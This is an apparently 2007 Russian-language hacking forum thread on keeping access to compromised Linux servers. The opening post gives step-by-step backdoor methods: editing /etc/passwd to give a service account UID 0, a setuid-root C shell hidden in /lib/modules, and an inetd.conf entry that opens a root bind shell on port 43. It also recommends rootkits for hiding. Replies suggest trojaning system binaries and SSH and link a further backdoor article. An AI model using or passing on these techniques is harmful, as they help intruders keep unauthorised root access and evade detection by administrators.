Методы закрепления на взломанных серверах.

Discussion in 'Безопасность и Анонимность' started by fYt, 26 Mar 2007.

  1. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    Методы закрепления на взломанных серверах.

    Вы взломали сервер, не важно как, может была уязвимость в программном обеспечении или же слабый пароль, [ sql | php]-инъекция, или все вместе(такое тоже бывает). На команду id вы получаете ответ id=0(root), gid=0(root), можете творить все что угодно, например, установить proxy, запустить brut, рассылать спам. Если просто заходить каждый раз под рутом рано или поздно админ вас заметит и сменит пароль, бывают и такие кому все равно, либо о безопасности ничего не знают и не хотят…. Что же их дело, а хакеры не спят, они как раз ищут такие системы.

    Что же делать дальше? Как быстро закрепиться в системе?

    Есть несколько известных мне способов:


    /etc/passwd.

    Этот способ прост и заключается в установке пароля и прав для таких учетных записей как: irc, www-data, news, mail, …. Сначала устанавливаем пароль для выбранной записи, затем редактируем файл /etc/passwd.

    passwd irc
    Enter new UNIX password: 123

    После этого находим в файле passwd строчку:

    Irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    заменим на
    Irc:x:0:0:ircd:/var/run/ircd:/bin/sh

    Мы изменили User ID и Group ID на такие же, как рута.

    Минусы: Хороший администратор легко заметит разницу, но если файл объемный можно и не заметить.


    Suid-bit.

    Другой способ состоит из написания небольшой программки на С и установке для нее suid – бита.

    Code:
    #include <stdio.h>
    
    void main()
    {
    	Setuid(0);
    	System(“/bin/bash”);
    }
    
    Компилим: gcc shell.c –o shell
    Устанавливаем права: chmod 4777 shell
    Лучше скопировать куда-нибудь подальше. Например, в /lib/modules.

    Минусы: Можно обнаружить с помощью команды find, у нее есть ключи поиска программ с установленным битом suid.

    Inetd.conf

    Этот метод не пройдет, если правильно настроен файрволл, поэтому нужный порт надо сперва открыть.Он состоит из добавления записи в Inetd.conf. Это демон отвечающий за некоторые сетевые приложения.

    Открываем нужный порт:

    iptables –A INPUT –p tcp –dport 43 –j ACCEPT

    Добавляем запись:

    whois stream tcp nowait root /bin/sh sh –i

    whois(Имя) stream(Тип сокета) Протокол(tcp,udp) nowait( inetd продолжает слушать порт после соединения одного клиента) root (права с которыми будет запущена оболочка) /bin/bash( сама программа) .

    Мы добавили новый сервис whois работает на 43 порту, список сервисов можно посмотреть в /etc/services. Теперь осталось соединится телнетом на 43 порт и запустится наша оболочка.

    Минусы: Команда netstat видит этот порт.

    Руткиты:

    Писать про них не буду, так как уже есть несколько хороших статей.

    Пользоваться руткитами удобнее и безопаснее, к тому же они имеют много хороших функций скрытие процессов, сетевых соединений, файлов и папок. Их труднее обнаружить, особенно “ядерные”.

    Что можно еще добавить?
     
    4 people like this.
  2. andy13

    andy13 Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    100
    Likes Received:
    15
    Reputations:
    3
    Такое ощущение, что уже где-то читал об этом.
    Хотя для тех, кто слышит это впервые, пойдет.
     
  3. hsi

    hsi Member

    Joined:
    11 Sep 2006
    Messages:
    214
    Likes Received:
    61
    Reputations:
    7
    Неплохой FAQ, но немного неполный (протроянивание системных утилит, добавление сервисным пользователям оболочки, etc).
     
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    976
    Reputations:
    783
    Мда. Про закрепление на сервере тоже есть много статей гораздо лучших чем твоя (если она твоя). Но ты же расписал уже про что то, будь добр закончи.
     
  5. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,215
    Reputations:
    704
    Я думаю, стоит немного подождать=)
     
    1 person likes this.
  6. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    возможно, я ошибаюсь, но как ты поставишь uid=0, если уже есть пользователь (root) с таким id ?
     
  7. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    Если попытаться добавить пользователя через useradd, то система не даст этого сделать, напишет что-то типа "uid 0 уже существует", поэтому исправляем uid,gid в самом passwd.
     
    1 person likes this.
  8. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
  9. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,215
    Reputations:
    704
    Обсирать все горазды. inetd.conf - гавно способ.
    Согласен с hsi, можно добавить про протроянивание бинарников и , самое интересное, добавление шелла сервисным пользователям. Но автор про это не хотел писать, как раз потому что это все знают. А вот как протороянить SSH, я не знал до сего дня.
     
    #9 Alexsize, 5 Apr 2007
    Last edited: 5 Apr 2007
  10. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Уважаемые, не ссорьтесь. Надеюсь, Alexsize не хотел тебя обидеть.
     
  11. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Вот, кстати, почитай лучше действительно полную стататью по забекдориванию. А я то думаю где-то я всё уже слышал =)
    http://hellknights.void.ru/articles/0x48k-NIXbackdoors.htm